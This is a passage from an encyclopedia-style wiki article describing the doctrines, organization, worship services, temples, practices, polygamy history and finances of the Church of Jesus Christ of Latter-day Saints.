Baptism is never performed before the eighth birthday. The age of eight was given in latter-day revelation as the age when children become accountable for their sins, that is, they are able to discern between right and wrong.  If a person is unable to discern between right and wrong (ie. those with severe mental retardation, etc.) they are deemed unaccountable for their sins and do not require baptism, regardless of their age; they are viewed as fully saved through the Atonement of Christ. ''The Book of Mormon'' and modern revelation specifically forbids the practice of [[pedobaptism|infant baptism]]. (See [http://scriptures.lds.org/dc/68/27 Doctrine and Covenants 68:27] and [http://scriptures.lds.org/moro/8/4-23 Moroni 8:4-23].) Baptism is recognized only when performed by one holding the proper authority, contained in the office of a Priest in the [[Aaronic Priesthood]] or a higher office.

They also practice [[Baptism for the dead]], a practice that is unique to the LDS Church.

==== Gift of the Holy Ghost ====

Following baptism by immersion, individuals are confirmed members of the church and given the Gift of the [[Holy Spirit|Holy Ghost]] by the laying on of hands by [[Priesthood (Mormonism)|Priesthood]] bearers worthy to do so.  Latter-day Saints believe that this blessing entitles the newly confirmed recipient to have the constant companionship of the Holy Ghost as a guide and guardian so long as the recipient lives worthy of the gift.  Moreover, members believe that those who have not been confirmed may still receive inspiration and a witness from the Holy Ghost but are not entitled to constant companionship available through the gift of the Holy Ghost.

==== Enduring to the End ====

Latter-day Saints also believe that life involves enduring to the end, and is not just a &quot;one-time&quot; religious experience.  A life of discipleship is daily spiritual maintenance, charitable works, and personal development — social, intellectual, emotional, and spiritual development.  It also involves overcoming personal trials, attending church and temple, rearing families, and doing work for the dead.  Ultimately, the goal is for [[sanctification]], the process of having the same character that God has: perfect love, perfect mercy, and perfect truth.

=== The Godhead ===

LDS theology maintains that God the Father (Heavenly Father), Jesus Christ, and the [[Holy Spirit|Holy Ghost]] are three separate and distinct personages who together comprise the [[Godhead (Mormonism)|Godhead]] (as distinct from the traditional doctrine of the [[Trinity]], which maintains that they are three persons but one in essence). All three members of the Godhead are eternal and equally divine, but play somewhat different roles. While the Holy Ghost is a spirit without a physical body, God and Christ do possess distinct, perfected, physical bodies of flesh and bone. Although Mormon theology sees the [[Heavenly Father|Father]], the Son, and the Holy Ghost as separate beings, they are considered to be &quot;one God&quot; in most every other possible sense &amp;mdash; most importantly they are one in purpose.

Mormonism posits most of the same attributes to the members of the Godhead that Trinitarian Christianity posits to the [[Trinity]]: [[omnipotence]], [[omniscience]], [[omnibenevolence]], [[eternal]], [[immutable]], [[immortality]], and [[immanence]] in the universe but not [[transcendence]] of it. However, the meaning held for some of these attributes differ significantly. For example, Mormonism holds that: as the ''creator'', God is the ''organizer'' of the universe since in Mormonism all matter (including sentient beings) that exists has always existed and will always exist; God's omnipotence does not transcend [[logic]], or the basic laws of [[physics]], though mankind may not necessarily understand those laws fully; and God's immutability concerns primarily His creations and His future status, not His status prior to that time.

Although it is not stated in the canonical scriptures, Joseph Smith and other church leaders have taught that God the Father is an exalted man who once lived on an earth similar to this one, like His Son Jesus Christ. Joseph Smith reportedly said:
:These are incomprehensible ideas to some, but they are simple. It is the first principle of the Gospel to know for a certainty the Character of God, and to know that we may converse with him as one man converses with another, and that he was once a man like us; yea, that God himself, the Father of us all, dwelt on an earth, the same as Jesus Christ himself did; and I will show it from the Bible.  ([[Joseph Fielding Smith]], ''Teachings of the Prophet Joseph Smith'', pp. 345-46.)

It is implied that God may have lived a mortal life and passed through death, being resurrected and eventually progressing to godhood. The creation story in Genesis would begin sometime after this point.
    
Latter-day Saints generally also believe, although it is not canonical, that God is eternally married to a [[Heavenly Mother]]. Heavenly Mother is believed to be entirely equal in status to Heavenly Father, a celestial [[Goddess]] and God, respectively, forever married to one another and preserving differing yet complementary roles of deity, although She is not explicitly referred to in doctrine, scripture, or other Church canons. For members of the Church, much of this idea simply follows logically and comfortably from the doctrine that one man and one woman must be sealed together in holy matrimony if they aim to progress eventually to the highest level in the eternities (logic: If I must be sealed to a man/woman to become like God, then God must have been sealed to a woman.). Her existence is referred to briefly in the Church hymn titled ''[[O My Father (hymn)|O My Father]]'' (Hymn number 292), and it is presumed from Church teachings proclaiming that each person is a &quot;spirit son or daughter of heavenly parents&quot; (See [[The Family: A Proclamation to the World]]). Thus, Her existence is subtly acknowledged by Church members and leadership, but She is not worshipped nor is made the object of prayer. It is commonly surmised that She is deliberately and safely protected in anonymity by Heavenly Father, whereby no human knows Her name.

While those outside the Church refer to the Church's doctrine of the godhead as [[Polytheism|polytheistic]], Latter-day Saints would more accurately be portrayed as [[Henotheism|henotheistic or monolatristic]]. However, as a matter of worship, LDS believe in one God as taught in the Scriptures. This God is represented in God the Father, His Son Jesus Christ, and the Holy Ghost. [[Protestantism|Protestant]], [[Anglican Communion|Anglican]], [[Roman Catholic Church|Roman Catholic]], [[Oriental Orthodox Churches|Oriental Orthodox]] and [[Eastern Orthodox Churches|Eastern Orthodox]] Christian churches insist their religion is [[Monotheism|monotheistic]]; that is, God is One in Being (ousia) and simultaneously Three, namely the Father, Son, and Holy Spirit, in Persons (hypostases). Though the existence of other gods or divine beings is acknowledged by the Church and its members, this fact is considered almost irrelevant to salvation: the other gods&amp;mdash;which Latter-day Saints would refer to as exalted beings&amp;mdash;have no impact on this sphere of existence, nor is their eternal role defined.

Despite the Church's name, its focus on Jesus as the Savior of mankind, its &quot;[[family values]]&quot;, and many of the [[Gospel]] teachings it shares with other branches of Christianity, many theologians and members of those other branches consider the difference between LDS practices and doctrines&amp;mdash;such as the contrast between the Church's doctrine of the Godhead and the mainstream Christian doctrine of the [[trinitarianism|Holy Trinity]]&amp;mdash;so fundamental that they do not regard Latter-day Saints as Christians. (See [[Mormonism and Christianity]].) In their view, a non-trinitarian understanding of Jesus Christ makes His saving grace null and void, and Latter-day Saints will be damned because of the differences in their understanding of Christ. [[Latter-day Saint]]s counter that it is mainstream Christianity that misunderstands the nature of God. They hold that the mainstream concept of God was corrupted by the introduction of [[Platonic realism]], [[Neoplatonism]], and extreme [[Ascetic|Asceticism]] into the early Christian church and that these influences continued through the [[Great Apostasy]].

Latter-day Saints do not use the [[Christian cross]] or [[crucifix]] as a symbol of their faith. Most modern Latter-day Saints choose to focus upon Jesus' life, atonement, and resurrection, not his death. LDS also believe that the one over-riding sign of being a Christian is that one lives Christ's teachings.

One of the most commonly used visual symbols of the Church is the trumpeting angel Moroni, proclaiming the restoration of the true gospel to the Earth (usually identified as the angel mentioned in Revelation 14:6&amp;ndash;7); and a statue depicting the angel often tops the tallest spire of LDS temples. Another common symbol members use are the letters CTR, meaning &quot;Choose the Right&quot;, taken from the name and motto of a children's Primary class. 

''See also:'' [[Godhead (Mormonism)]]; [[King Follett Discourse]]

=== Church leadership and the priesthood  ===

[[image:Hinckley_message.jpg|thumb|[[Gordon B. Hinckley]] is seen by church members as [[God]]'s [[prophet]] upon the Earth today.]]

The head of the church is termed [[Presidents of The Church of Jesus Christ of Latter-day Saints|President]], whom the members revere as the [[Prophet]], seer, and revelator. He is entitled to receive revelation from God to guide the church and the world as His mouthpiece on the earth. Other general, area, and local authorities of the church include [[Apostle (Mormonism)|Apostle]]s, [[Seventy|Seventies]], [[Stake (Mormonism)|Stake President]]s, [[Bishop]]s, and other [[quorum]] presidents. The president of the church serves as such until death, after which the [[Quorum of the Twelve Apostles]] will meet, pray, and under the leadership of the senior apostle, receive revelation as to whom the next prophet should be. Although not specified by revelation, the senior apostle has historically become the new President of the church. General Authorities work full-time for the church, and those that need it receive a stipend from the church.

Lay clergy has a strong tradition in the church, as area and local authorities are unpaid and continue in their normal occupations while serving in leadership positions. Some positions are limited to priesthood holders, with qualifications usually related to the particular calling (e.g., women for the [[Relief Society]], men for the priesthood quorums.) In [[1978]], an official declaration of the First Presidency reported that a revelation had been received by church President [[Spencer W. Kimball]] directing that all worthy men be allowed to receive the priesthood. From [[1849]] until [[1978]], men of African descent had not been permitted to receive the priesthood although they could become members and serve within the church. (Persons of other dark-skinned ethnicities not of African descent, such as the Maori, could receive the priesthood prior to this time, provided they were called by revelation. See [[Blacks and the Church of Jesus Christ of Latter-day Saints]].)

As the church has no general salaried ministry, thousands of Latter-day Saints around the world participate in leading their congregations in their spare time for a period of a few years, while they continue their normal employment.

''See'' [[Priesthood (Mormonism)]]; [[First Presidency]]; [[Quorum of the Twelve Apostles]]; [[General Authority]]; [[Apostle (Mormonism)]]

=== The Plan of Salvation===

The gospel of [[Jesus Christ]], restored in its fullness by God through Joseph Smith, is known as the '''[[Plan of Salvation]]''' (or the Plan of Happiness), and is designed to bring about the immortality and eternal life of mankind. It includes the Creation, the Fall, and the Atonement, along with all God-given laws, ordinances, and doctrines. After this life is the Resurrection, and Judgement.

Latter-day Saints believe that &quot;through the [[Atonement]] of Christ, all mankind may be saved, by obedience to the laws and ordinances of the [[Gospel]].&quot; (See Third [[Articles of Faith#Mormon|Article of Faith]].) Mankind may thus return to live with God as glorified, eternal beings. However, the conditions that Christ requires individuals to fulfil do not of themselves merit salvation, but are required for other reasons. It is only through His merits, mercy, and grace that salvation comes.

The gift of [[immortality]] is also believed to be freely given to all because of Jesus' sacrifice on the cross and his subsequent [[Resurrection of Jesus |Resurrection]] (See [http://scriptures.lds.org/1_cor/15/22 1 Corinthians 15:22]), although salvation from [[sin]], or spiritual [[death]], is conditional.  Entrance to the highest Heavenly Kingdom, the &quot;Celestial Kingdom&quot; (See [http://scriptures.lds.org/1_cor/15/40 1 Corinthians 15:40]), is only granted to those who accept Jesus through [[baptism]] into the Church by its [[priesthood]] authority, follow Church doctrine, and live righteous lives. Faith alone, or faith without works, (i.e. dead faith), is not considered sufficient to attain exaltation. (See [http://scriptures.lds.org/james/2/26 James 2:26].)

[[Exaltation]] is the reward which Latter-day Saints believe is given to the righteous; including those whose first opportunity to hear the gospel is in the afterlife (and as soon as their temple work is done for them). Through the process of exaltation, a person can eventually become like Jesus Christ, or as it is expressed in scripture, a joint-heir with Him {See [http://scriptures.lds.org/rom/8/17 Romans 8:17].)

For Church members, the kingdoms of glory, as follows, are congruent with Christ's words in the New Testament: &quot;In my house there are many mansions...&quot;

The ''[[Celestial Kingdom]]'' (whose glory is compared to the brightness of the [[sun]] in the sky, as its inhabitants have all truth and light) is where the righteous will live with God and with their families. This kingdom includes multiple degrees of glory, the highest of which is exaltation.  Those who have had the ordinances of eternal marriage, which is performed in [[Temple (Mormonism)|Temples]], and baptism may be exalted if they are found worthy by God. Accountable individuals must be baptized and repent to gain entrance to the Celestial Kingdom; Latter-day Saints profess that all children who die before the age of accountability automatically inherit a celestial glory.

Those good people who are not valiant in following Jesus or who do not accept the Gospel do not qualify for exaltation and will be consigned to the ''[[Terrestrial Kingdom]]'' (whose glory is compared to the brightness of the [[moon]] in the sky). This kingdom is one of great glory, but without the presence of God the Father. An ultimate willingness to keep the &quot;law of carnal commandments&quot; (the [[Ten Commandments]]) is considered essential to enter this kingdom.

Murderers, other criminals, and the like who do not accept the Atonement of [[Jesus]] Christ will eventually spend eternity with people of like intent in the ''[[Telestial Kingdom]]'', and their glory will be as that of the stars in the night sky. This is also considered a kingdom of glory and has been described as being much better than earthly life. All those who do not qualify for a higher degree of glory will automatically enter this kingdom unless they deny the [[Holy Spirit|Holy Ghost]], a sin it is believed very few people are able to commit.

Those few people who do, after gaining a full knowledge of the Gospel, willfully deny and contend against the Holy Ghost, are believed to inherit no glory.  Most members of the Church refer to this place as [[Outer Darkness]]; this is not to be confused with traditional Christianity's definition of the term.  An individual so banished is called a [[Son of Perdition]]. Forgiveness is not possible for these souls, though they will be resurrected. There is debate within the church as to whether or not a female is a capable of committing the sins necessitating inheritance of a kingdom without glory.{{citeneeded}}

Before people dwell eternally in their assigned kingdom of glory, they go through resurrection and Judgement.

The ''Book of Mormon'' defines the Resurrection and Judgement as follows:

&lt;blockquote&gt;
The spirit and the body shall be reunited again in its perfect form; both limb and joint shall be restored to its proper frame, even as we now are at this time; and we shall be brought to stand before God, knowing even as we know now, and have a bright recollection of all our guilt.
&lt;/blockquote&gt;
&lt;blockquote&gt;
Now, this restoration shall come to all, both old and young, both bond and free, both male and female, both the wicked and the righteous; and even there shall not so much as a hair of their heads be lost; but every thing shall be restored to its perfect frame, as it is now, or in the body, and shall be brought and be arraigned before the bar of Christ the Son, and God the Father, and the Holy Spirit, which is one Eternal God, to be judged according to their works, whether they be good or whether they be evil. (Alma 11:43-44)
&lt;/blockquote&gt;

Joseph Smith taught, “The Doctrines of the Resurrection of the Dead and the Eternal Judgment are necessary to preach among the first principles of the Gospel of Jesus Christ.” (''Teachings of the Prophet Joseph Smith'', 149).

=== Scriptures ===

Under the Church's doctrine of [[continuous revelation|continuing revelation]] (see [[Articles of Faith]] number 9), the Church has an open scriptural [[biblical canon|canon]] which thus far includes the [[Bible]] (the [[King James Version of the Bible|King James Version]] in [[English language|English]]-speaking countries), ''The [[Book of Mormon]]: Another Testament of [[Jesus]] Christ,'' ''The [[Doctrine and Covenants]],'' and ''The [[Pearl of Great Price (Mormonism)|Pearl of Great Price]],'' including ''The [[Articles of Faith]].'' These scriptural writings comprise the [[Standard Works|Standard Works of the Church]]. This belief in additional scriptural canon makes the church unique among Christian religions.

Many of the pronouncements of [[General authority|general authorities]], particularly the president of the Church, are also often viewed as uncanonized scripture&amp;mdash;particularly official written pronouncements signed by the [[First Presidency]] and/or the [[Quorum of the Twelve Apostles]], such as &quot;[[The Family: A Proclamation to the World]]&quot; ([[1995]]), which defined the Church's vision of the ideal family (which resembles the typical nuclear family), and &quot;The Living Christ&quot; ([[2000]]), which commemorated the birth of Jesus. Latter-day Saints are also encouraged to accept the most recent statements from prophets and general authorities as modern-day scripture. Latter-day Saints are encouraged to pray to know the truthfulness of the doctrine contained in their various scriptures, especially if they have trouble living a certain principle.

English-speaking members typically use the [[King James Version]] of the Bible; Joseph Smith also translated a version of the Bible, known as the [[Joseph Smith Translation of the Bible]] (or Inspired Version), and although this Bible translation is not generally used by members of the Church, &lt;!--(because the copyright is owned by The Community of Christ, previously called the Reorganized Church of Jesus Christ of Latter Day Saints)-Copyrights have expired, so this statement is not accurate.  Joseph Smith was not going through the Bible starting with page 1 and correcting it. He actually was doing this translation by subject. Therefore one verse in The Community of Christ's JST Bible may be correct, while the two surrounding verses may still be flawed. (CORRECTION: The Church does not use the JST of the Bible because it was never completed - See Comment by clicking 'Edit this Page')--&gt; the Bible issued by the Church contains cross references to the Joseph Smith Translation (JST), as well as an appendix containing major excerpts from it. Though it is part of the canon and members believe the Bible to be the word of God, the Church also acknowledges that numerous omissions and mistranslations occured in even the earliest known manuscripts, although the relative majority of what remains is believed to be correct. These errors have led to incorrect interpretations of the meaning of certain passages.

The introduction of ''The Book of Mormon'' describes the book as follows:
:&quot;The Book of Mormon is a volume of holy scripture comparable to the Bible. It is a record of God&amp;#8217;s dealings with the ancient inhabitants of [[the Americas]] and contains, as does the Bible, the fullness of the everlasting [[gospel]]. The book was written by many ancient prophets by the spirit of prophecy and revelation. Their words, written on gold plates, were quoted and abridged by a prophet-historian named Mormon. The record gives an account of two great civilizations. One came from Jerusalem in 600 B.C.E., and afterward separated into two nations, known as the [[Nephite]]s and the [[Lamanite]]s. The other came much earlier when the Lord confounded the tongues at the [[Tower of Babel]].  This group is known as the [[Jaredite]]s.  After thousands of years, all were destroyed except the Lamanites, and they are the principal ancestors of the [[Indigenous peoples of the Americas|American Indians]].

:The crowning event recorded in the Book of Mormon is the personal ministry of Jesus Christ among Nephites soon after his [[resurrection]]. It puts forth the doctrines of the gospel, outlines the plan of salvation, and tells men what they must do to gain peace in this life and eternal salvation in the life to come.&quot;

According to his record, [[Joseph Smith, Jr.]] translated the Book of Mormon by the power of God through the [[Urim and Thummim]]. Eleven witnesses signed testimonies of its divine authenticity, which are now included in the preface to the Book of Mormon. [[Three Witnesses|Three witnesses]] testified to having seen an angel present the gold plates, and to having heard God bear witness to its truth.  [[Eight Witnesses|Eight]] others stated that they  had handled the plates when [[Joseph Smith, Jr.]] showed them to them.

''The Doctrine and Covenants'' is a collection of revelations, policies, letters, and statements from Church presidents, starting with Joseph Smith. This record contains Church doctrine as well as direction on Church government.

''The Pearl of Great Price'' contains: (1) excerpts from Joseph Smith&amp;#8217;s translation of Genesis, called the book of Moses, and of Matthew 24, called Joseph Smith&amp;#8212;Matthew; (2) Joseph Smith&amp;#8217;s translation of some Egyptian papyrus that he acquired in 1835 (and subsequently lost, although some pages were purportedly rediscovered in 1967), called the &quot;Book of Abraham&quot;; (3) an excerpt from ''The Documentary History of the Church'' containing a letter written by Joseph Smith in 1838, called Joseph Smith&amp;#8212;History; and (4) an excerpt of another of Joseph Smith's letters called the ''[[Articles of Faith]]'', thirteen statements of belief and doctrine.

Latter-day Saints believe literally in the principle of revelation from God to his children. Individual members are entitled to divine revelation for confirmation of truths, gaining knowledge or wisdom, and meeting personal challenges.  Parents are entitled to revelation for raising their families. Divine revelation for the direction of the entire Church comes from God to the president of the Church, who is viewed by Latter-day Saints as a prophet in the same sense as Abraham, Moses, Peter and other biblical leaders.

''See also:'' [http://scriptures.lds.org Scriptures online].

== Chapels ==

Weekly worship services, including Sacrament Meetings, are held on [[Sunday]]s, in [http://www.mormon.org/question/worship/1,8578,797-1,00.html meetinghouses] , also referred to as &quot;chapels&quot; or &quot;stake centers&quot;, although the Chapel is actually only one component of the meetinghouse, where weekly worship services and other meetings are held. All people, regardless of belief or standing in the church are welcome to attend. The [[Sacrament (Mormonism)|Sacrament]], similar to Communion or the [[Eucharist]] in other churches, is offered weekly. Latter-day Saints generally come together in meetinghouses throughout the week (except Mondays, which are reserved for family time) for various activities.

=== Sunday Services ===
 
[[congregation (worship)|Congregations]] for Sunday services are grouped geographically, with larger (~200 to ~400 people) congregations known as [[Ward (Mormonism)|wards]], and smaller (2 through ~200 people) congregations known as branches.

Sunday services consist of a three-hour block of time divided into three segments.
The primary Sunday service is Sacrament Meeting, which is slightly more than an hour in length, and attended by the combined congregation. The primary purpose of Sacrament Meeting is the blessing and passing of the [[Sacrament (Mormonism)|Sacrament]]--consecrated bread and water in remembrance of the body and blood of Christ--to &lt;!--baptized (unbaptized children also partake of the sacrament and even non-members are not barred from participating)--&gt; members of the Church. After the Sacrament, the service usually consists of two or three &quot;talks&quot; (lay sermons) prepared and delivered by members of the congregation. [[Hymn]]s (accompanied by [[piano]] or [[Organ (music)|organ]]) are sung throughout the service, as a form of worship through music.

During the other two segments, the congregation divides into smaller groups based on age and/or gender.  The church publishes manuals for each type of class, usually including a teacher's manual as well as a student booklet for youth and adult classes.

Sunday School classes are grouped by age and sometimes by background.  The most common adult Sunday School class is &quot;Gospel Doctrine,&quot; which meets each week and consists of a teacher presenting a gospel message drawn from the Scriptures, with participation from class members.  A second adult class that meets most weeks is &quot;Gospel Essentials,&quot; designed for new members and non-members who are interested in learning more about the Church (often referred to as investigators).  Additional adult classes are held at various times, depending on the specific needs of each congregation.  These classes include topics such as &quot;Family Relations,&quot; &quot;Family History,&quot; &quot;Teacher Preparation&quot; and &quot;Temple Preparation.&quot;  Youth Sunday School classes are divided by age (12-13, 14-15, 16-18).  These classes are sometimes combined if class sizes are small.

In addition to Sacrament Meeting and Sunday School, a third block of meetings is held where attendance is based on age and sex.  Men and boys from the age of 12 attend priesthood classes, women attend Relief Society, and girls ages 12-18 attend Young Women.  The Young Women group is further divided into Beehive (ages 12-13), Mia Maid (ages 14-15), and Laurel (ages 16-18) classes.  Although all men and boys meet together briefly at the beginning of the hour for a prayer, hymn, and announcements, they then separate into classes.  The men separate by priesthood office to attend [[Elder (Mormonism)|Elder's]] [[Quorum (Mormonism)|Quorum]] or [[High priest (Mormonism)|High Priest's]] Group, the latter usually being older men and/or those who have held leadership positions in the Church.  Youth are likewise divided into priesthood quorums: [[Deacon (Mormonism)|Deacons]] (ages 12-13), [[Teacher (Mormonism)|Teachers]] (ages 14-15), and [[Priest (Mormonism)|Priests]] (ages 16-18).  Classes may be combined if the class sizes are small.

Children younger than 12 attend Primary, which spans the two time blocks described above.  Primary is divided into two large groups: Senior Primary (ages 8-12) and Junior Primary (ages 4-7); young children from 18 months to 3 years of age attend nursery class.  Primary classes generally consist of all the children who were born in the same year.  Usually one half of the Primary meets in separate classes while the other half meets together in sharing and singing time, and at the end of the hour, the two are reversed.

Women usually attend wearing skirts or dresses, while men wear suits or dress shirts (preferably white) and ties. However, this dress code is not required; people in different attire are also welcome.

=== Seminary ===

[[High school]] students attend [[Seminary#Youth seminaries|Seminary]], which is usually scheduled for before or after school hours. In some areas with large LDS populations, provisions are made by the high school which allow students to attend Seminary (off-campus) during the school day. The provision, however, is considered Release Time, not a school-recognized class. No credit is awarded by the school, nor is any grade or achievement listed on the school's official transcript.  Attendance at Seminary is voluntary, although this does help when applying to [[Brigham Young University]]. Seminary programs are administered by the [[Church Educational System]].

=== Young Men's/Young Women's ===

Young men and women, aged 12 to 18, often have a weekly meeting (previously referred to as ''Mutual'' short for ''Mutual Improvement Association'' sometimes known as &quot;MIA&quot;) which can involve an activity, service project, or instruction. Classes and [[Quorum (Mormonism)|quorums]] partition off after an opening of a sung hymn, a prayer, and any announcements of upcoming events. The separate groups will have various wholesome activities to participate in, planned both by their leaders and the youth themselves. They can range anywhere from playing a sport or game, crafting, cooking, or service. Usually the young men participate in [[Boy Scouts of America]], grouped by age. One week a month, all the Young Women classes will have a combined activity, as do the Young Men quorums. Another week, the Young Men and Women will have an activity as a combined group.

=== Home, Family, and Personal Enrichment ===

Four times a year the adult women (members of the Church's Relief Society) attend a Home, Family, and Personal Enrichment meeting, where they may choose between various classes being offered, participate in a service project, or attend a social event. In addition, Enrichment activities are offered (weekly, monthly, or as determined by ward Relief Society leaders) for women with similar needs and interests.

=== Other === 

In addition to these regularly scheduled meetings, additional meetings are frequently held at the meetinghouse.  Popular activities are basketball, family history conferences, youth conferences, youth dances and various personal improvement classes.  Church members may also reserve the building for personal use, such as wedding receptions, funerals, etc.

==Temples==
{{main|Temple (Mormonism)}}

In addition to Sunday worship, some faithful members of the church may participate in ordinances in [[Temple (Mormonism)|temples]], including baptisms for the dead, [[Endowment (Mormonism)|endowments]], and eternal marriage.  Adult members who receive their endowments in the temple also receive the [[Temple garment (Mormonism)|temple garment]], which they wear under their daily clothing.  The LDS church considers the temple ordinances exceptionally sacred.  As such, they do not publicly release the details of the temple proceedings and expect that members also do not discuss them outside the temple.  This is true of the significance of the temple garment as well.

==Other practices==

Practices more or less distinctive to Latter-day Saints include following the [[Word of Wisdom]] (caring for one's body by eating healthy foods; abstaining from [[alcoholic beverage|alcohol]], [[tobacco]], [[tea]] and [[coffee]], and illicit drugs; and eating meat sparingly), [[tithe|tithing]] (donating 10 percent of one's income to the church, which is voluntary but required in order to remain in good standing with the church.) chastity, modesty in dress and behavior, lay leadership, [[Family Home Evening]]s (families are encouraged to meet weekly for prayer and other activities - typically on Monday), and home and visiting teaching (members regularly visit one another in their homes for prayer and study). [[Tattoo]]s and [[body piercing]]s (except for one pair of [[earrings]] for women) are strongly discouraged. Church members are encouraged to marry and have children, and as a result, Mormon families tend to be larger than average. All sexual activity, both heterosexual and homosexual, outside of the marriage covenant is considered a significant sin. [[Same-sex marriage]]s are not performed or supported by the LDS church. Mormons are counseled not to partake of any form of media that is obscene or pornographic in any way, including media that depicts graphic representations of sex or violence.

The church emphasises the moral standards taught by Jesus Christ, including personal honesty, integrity, obedience to law, chastity outside of marriage and fidelity within marriage. The church puts notable emphasis on the family, and distinctively, the concept of a united family which lives and progresses forever is at the core of Latter-day Saint doctrine. The church opposes abortion, pornography, and gambling.

Latter-day Saint fathers who hold the priesthood typically bless their babies shortly after birth to formally give the child a name and a blessing and generate a Church record for them.  Various blessings may be pronounced, as directed by inspiration.

=== Prayers ===

Formal public and personal prayers are addressed to &quot;Heavenly Father&quot; and offered in the name of Jesus Christ, followed by [[amen]]. When a prayer is given in public, it is customary for all attending to say &quot;amen&quot; at the prayer's conclusion.  English-speaking members generally use &quot;thee,&quot; &quot;thou,&quot; &quot;thy&quot; and &quot;thine&quot; when addressing God, as a form of both familiarity and respect.  Members who speak other languages use similar familiar, respectful [[syntax]] in prayer.  Most prayers are extemporaneous and may be said while kneeling, standing, or sitting or in any other position.  

Certain prayers associated with ordinances are defined and must be delivered verbatim, while others must follow a certain pattern.  For example, the prayer to bless the sacrament is a set prayer which is delivered the same way each week.  The priesthood holder kneels to say the prayer; if he accidentally deviates from the form, he is instructed to repeat the prayer until it is correct.  Likewise, the prayer for baptism must be given verbatim prior to immersion; the priesthood holder stands in the water beside the person to be baptized, raises his right arm to the square, and pronounces the blessing.  Other ordinations and blessings have a pattern, for example, in a confirmation prayer, the priesthood holder is to address the individual being confirmed by his or her full name, state the priesthood authority by which the ordinance is given, confirm that person as a member of the Church, and bestow the Holy Ghost with such words as &quot;receive the Holy Ghost.&quot; This is usually followed by an extemporaneous personal blessing as directed by the Spirit.

=== Missionaries ===
{{main|Mormon missionary}}

The LDS Church has one of the most active [[missionary]] programs of any world church. As of [[31 December]] [[2004]] there were in excess of 51,000 full-time missionaries serving around the world at any given time without pay.

Missionary work is a fundamental principle of the Church, and has become one of the most readily identifiable characteristics of The Church of Jesus Christ of Latter-day Saints. All missionaries have been assigned by Church headquarters to their area of work, which can be in any part of the world where governments allow them to preach. They contribute to their own support for up to two years, frequently learning another language. The Church also places an emphasis on humanitarian services, and vast [[genealogy|family history]] resources.

=== Education ===

Latter-day Saints believe that one of the most important aspects of life on earth is the opportunity for individuals to learn and grow.  Accordingly, the Church strongly emphasizes education and subsidizes [[Brigham Young University]], [[Brigham Young University-Idaho]] (formerly Ricks College), and [[Brigham Young University-Hawaii]].  The Church also has a seminary program for high school students and an Institute of Religion program for college-age Church members.  All members twelve and above attend Sunday School classes, which emphasize personal scripture studies and other forms of education and self-improvement. 

In addition, the Church sponsors a low-interest educational loan program known as the [[Perpetual Education Fund]].  This fund is designed to benefit both young men and women from all parts of the world who have served a mission, returned to their home, and need further education to become productive citizens in their respective countries.  As they finish their education and enter the work force, they then are able to pay back the funds provided so that other individuals can attend both vocational technical schools and university.

=== Preparedness ===

The LDS church strongly encourages every family to be prepared for disasters.  Members are encouraged to plant gardens as well as maintain a year's supply of non-perishable food storage. As an whole, the Church is well equipped with neccessities that are on-hand and avaliable for immediate distribution when needed around the world.  The Church's excellent response to emergencies or disasters is directed through the Bishop's Storehouse.

The bishop's storehouse system is a network of Church-owned and operated commodity resource centers.  They work much like retail stores with the difference that goods cannot be purchased: they are given charitably, whether to entire areas (i.e. the recent Tsunami event) or upon an individual/family basis, to those deserving need.  Member recipients are invited to work or render service to others in various ways in exchange for goods to avoid allowing the goods given to be a form of dole.

The concept of the storehouse and the Church Welfare Services emerged from scriptural principles, elucidated by a series of revelations given to the Prophet Joseph Smith beginning in 1831, a year after the Church was organized. In one revelation, Church members were directed to &quot;remember the poor, and consecrate [their] properties for [the poor's] support&quot;.

The implementation of the mutual help program has varied considerably according to the economic conditions of the members and the organizational structure of the Church.  Utilization of the storehouse concept received intense emphasis during the United Order effort of the 1870s. From that time forward, most [[ward]]s or congregations maintained their own storehouse until the introduction of regional storehouses (1934-1936). These storehouses figured prominently in the Church's effort to care for its people during the economic depression of the 1930s and formed the basis for a more systematic approach to shared assistance.

After World War II, the Church Welfare system, centered on the storehouse, evolved into an integrated and complex Church-wide production and distribution system. A higher level of coordination between Welfare farms, dairies, and canneries was established, and a wider range of goods became available. The Church established central storehouses to supply regional storehouses. In the 1970s, with the maturing of the storehouse system, the Church selectively introduced local production and storehouses in areas outside the United States where need and resources warranted. 

Presently, the entire Bishop's Storehouse Resource System operates with efficiency and quality equal to commercial commodity activities, effectively assisting thousands of people every year with material necessities. Like other positions in the Church, the storehouse remains an operation based entirly on volunteer work. Anyone, whether a member or not, has the chance to give their time to the storehouse. Often, youth groups will go to work in a local storehouse cannery as a service activity.  No offer of well-intended help is refused.

===Polygamy ===

At one time in its early history, the Church did endorse a form of [[polygamy]] called &quot;[[plural marriage]],&quot; but this is no longer the case. [[Joseph Smith, Jr.|Joseph Smith]], [[Brigham Young]] and other early members and leaders of the Church were married to more than one wife. The practice was officially withdrawn as stated in a declaration called &quot;The Manifesto&quot; which was given by President [[Wilford Woodruff]] in 1890 (see [http://scriptures.lds.org/od/1 Official Declaration 1]), and which advised Church members to obey the marriage laws of their land. After the Manifesto, Church members living in Mexico and Canada (in polygamist enclaves) continued the practice of plural marriage. The Church's position was reiterated and clarified in 1904 (commonly referred to as &quot;The Second Manifesto&quot;), with an additional request that no Church members enter into any form of plural marriage, regardless of their location, local customs, or legality. Members of The Church of Jesus Christ of Latter-day Saints found to be engaging in multiple marriage relationships are [[excommunicated]]. Converts from areas where polygamy is an accepted practice typically must end such relationships. Today, while plural marriage is not practiced, a widower qualified to enter the temple may receive permission to have his subsequent marriage(s) sealed if the woman has not been previously sealed to another man, allowing for the continuation of that relationship beyond death. A widow can be remarried in the temple, but can be sealed to only one husband. Although not practiced at the moment, a revelation on this doctrine is still part of the LDS scriptures in Doctrine and Covenants section 132, and many church members still believe that the principle of plural marriage is an eternal truth and will be practiced in the afterlife.

The church has repeatedly stated that members who engage in multiple simultaneous marriages will be excommunicated. Excommunication is the most severe disciplinary action the church undertakes, and the church has made it clear that it is the perogative of the government to enforce marriage laws and the church does not involve itself in this endeavor.

== Finances ==
The financial status of the Church has been the focus of two investigative reports: a 1991 report by the [[Arizona Republic]] and a 1997 report by [[Time Magazine]]. Both claim the Church is the most prosperous American religion, with Time estimating $5.2 billion in tithes during 1996.  The Church has holdings in real estate, as well as for-profit businesses managed through [[Deseret Management Corporation]].  Time estimated assets in 1996 at more than $30 billion.  

It is difficult to determine the exact financial status of the Church because it is not required to disclose financial information. Some of the Church's known holdings include:
* AgReserves Inc, Salt Lake City, Utah - the largest producer of nuts in America.
* Beneficial Life Insurance Co. - assets of $1.6 billion.
* [[Bonneville International Corporation]] - the 14th largest radio chain in the U.S.
